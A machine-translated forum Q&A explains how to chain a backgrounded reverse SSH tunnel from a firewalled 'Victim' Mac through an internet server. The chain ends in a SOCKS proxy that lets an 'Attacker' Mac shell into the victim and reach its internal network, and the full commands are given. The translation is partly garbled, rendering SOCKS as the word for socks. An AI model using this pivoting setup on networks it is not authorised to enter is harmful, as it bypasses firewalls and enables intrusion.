양말이 있는 역방향 SSH 터널

양말이 있는 역방향 SSH 터널

내 상황은 다음과 같습니다.

  • 'Victim'이라는 이름의 방화벽 뒤에 있는 작업 Mac입니다. (하이 시에라 10.13.3)
  • 인터넷상의 Ubuntu VHS는 '서버'로 명명됩니다. 포트 2222에서 SSH가 실행 중입니다. (Ubuntu 16.04)
  • 방화벽 뒤에 있는 다른 Mac도 '공격자'로 명명되었습니다. (하이 시에라 10.13.3)

양말을 신고 '피해자'만 접근할 수 있는 내부 웹사이트를 방문하고 싶습니다.

'피해자'에서 공격자의 '서버'로 ssh를 실행 하고 실행 하면 공격자가 피해자에게 셸 액세스할 수 있습니다.ssh -R 5555:localhost:22 [email protected] -P 2222ssh victim@localhost -p 5555

내가 달성해야 할 것은 양말을 신고 '피해자'만이 접속할 수 있는 웹사이트를 방문하는 것입니다.

피해자에서 서버로 역방향 터널을 설정하고 서버에서 수신 포트에서 역방향 연결 포트로 일부 전달을 설정하고 공격자에 대해 로컬 호스트에서 원격(서버에 연결)으로 전달을 설정해야 한다는 것을 이해합니다. 하지만 어떻게 해야 할까요? 나는 이것을한다?

공격자에서 서버로 직접 양말을 설정할 때 Firefox에서 프록시 양말 v5 localhost:8080을 실행하고 설정했지만 서버에 전달을 어떻게 설정하는지 알 수 없습니다...ssh -D 8080 [email protected] -p 2222

나에게 설명해줄 수 있는 사람이 있나요? 고마워

답변1

이 질문에는 누구도 답할 수 없을 것 같습니다. 제가 직접 답을 찾았기 때문에 괜찮습니다.

답변은 다음과 같습니다.

  • ~에피해자:ssh -N -f -R 5555:localhost:22 -p <port_of_serv> <ip_of_serv>
  • ~에공격자#1:ssh (-N -f) -L 4444:localhost:5555 -p <port_of_serv> <ip_of_serv>
  • ~에공격자#2:ssh -p 4444 -D localhost:3333 user_on_victim@localhost
  • ~에공격자#3: Firefox 또는 irc 또는 일반 네트워크 설정의 경우: Socks(v5) 프록시 설정: 127.0.0.1 포트 3333

포트 3333을 사용하여 호스트 localhost를 설정한 모든 애플리케이션은 서비스를 통해 피해자에게 터널링되며 다음과 같은 것을 방문할 때http://myip.com피해자의 IP/호스트가 표시됩니다. 이제부터 GUI 애플리케이션을 사용할 수도 있습니다.공격자(특정 앱이나 시스템 전체에 대해 양말 설정을 구성한 경우)서브에게피해자그리고 당신은피해자그 자체로.

내 생각 과정에서 내가 저지른 실수는 역방향 포트 구성표가 어떻게 생겼는지 실제로 이해하지 못했다는 것입니다. 간단한 용어로 설명하려고 노력할 것입니다.

피해자 조치

ssh -N -f -R 5555:localhost:22 -p <port_of_serv> <ip_of_serv>
  • -N= 쉘에서 명령을 실행하지 않을 것입니다
  • -f= 프로세스를 백그라운드에 둡니다(터미널 창을 닫을 수 있도록).
  • -R= 역터널
  • 5555:localhost:22= 5555는 서버가 포트 22에 데이터를 전달하기 위해 내부적으로 수신 대기하는 포트입니다.피해자. 포트 2222에서 ssh가 실행되도록 피해자를 설정했다면 22를 2222로 변경해야 합니다.
  • -p= SSH가 연결된 포트서브실행 중입니다.

1차 공격 행동

ssh (-N -f) -L 4444:localhost:5555 -p <port_of_serv> <ip_of_serv>`

당신이 내리는 첫 번째 명령공격자( -L 4444:localhost:5555)는 세 번째 명령과의 연결이 바로 터널링되도록 터널을 설정합니다.피해자. (동적 포트 포워딩/Socks 애플리케이션에만 해당)

쉘 액세스 권한만 갖고 싶다면피해자이 명령 대신 ssh로 접속하여 'ssh user_on_victim@localhost -p 5555' 명령을 실행하세요.

하지만 우리는 셸 액세스를 원하지 않고 모든 데이터를 동적으로 터널링하기를 원하므로 포트 전달을 만들어야 합니다.

아니면 개략적인 설명

  • -L= 로컬 포트 ​​전달(켜짐서브)
  • - 4444:localhost:5555포트 4444에서 들어오는 모든 데이터를 포트 5555에 넣습니다.

2차 공격 동작

두 번째 명령은 다음과 같습니다.공격자

ssh -p 4444 -D localhost:3333 user_on_victim@localhost

2개의 터널을 통한 연결을 초기화하는 실제 명령입니다. 당신이 하는 일은 포트 4444에 연결하고 (localhost 포트 3333)로 들어오는 모든 데이터를 4444에 넣는 것입니다.서브포트 5555로 -> 포트 22로 푸시됩니다.피해자.

아니면 개략적인 설명

  • -D= 동적 전달
  • localhost:3333= 포트 3333에서 수신 대기하고 SSH 연결을 통해 포트 4444에 데이터를 푸시하여 서비스를 제공합니다.
  • -p 4444= 포트서브데이터를 포트 5555로 전달하고 포트 22로 전달하는 것을 수신하고 있습니다.피해자.

3차 공격 액션

주소: localhost 포트: 3333에서 SOCKS(v5) 프록시 서버를 사용하도록 애플리케이션 또는 전체 시스템을 설정합니다. 이러한 애플리케이션이 정상적으로 실행되는 포트는 프록시 서버에 의해 처리되기 때문에 중요하지 않습니다. 이론적으로 모든 애플리케이션은 양말 프록시 동적 포트 전달을 통해 실행될 수 있습니다. 설정만 하면 됩니다. :)

3번째 액션공격자터널링할 실제 데이터입니다.피해자. 이것이 어떤 데이터나 애플리케이션인지는 중요하지 않습니다. 이것이 동적 전달인 이유입니다. SOCKS에서 처리하므로 이러한 애플리케이션이 실행되는 포트는 중요하지 않습니다.

누군가가 내 설명에서 유용성을 발견하기를 바랍니다.

좋은 하루 되세요....

관련 정보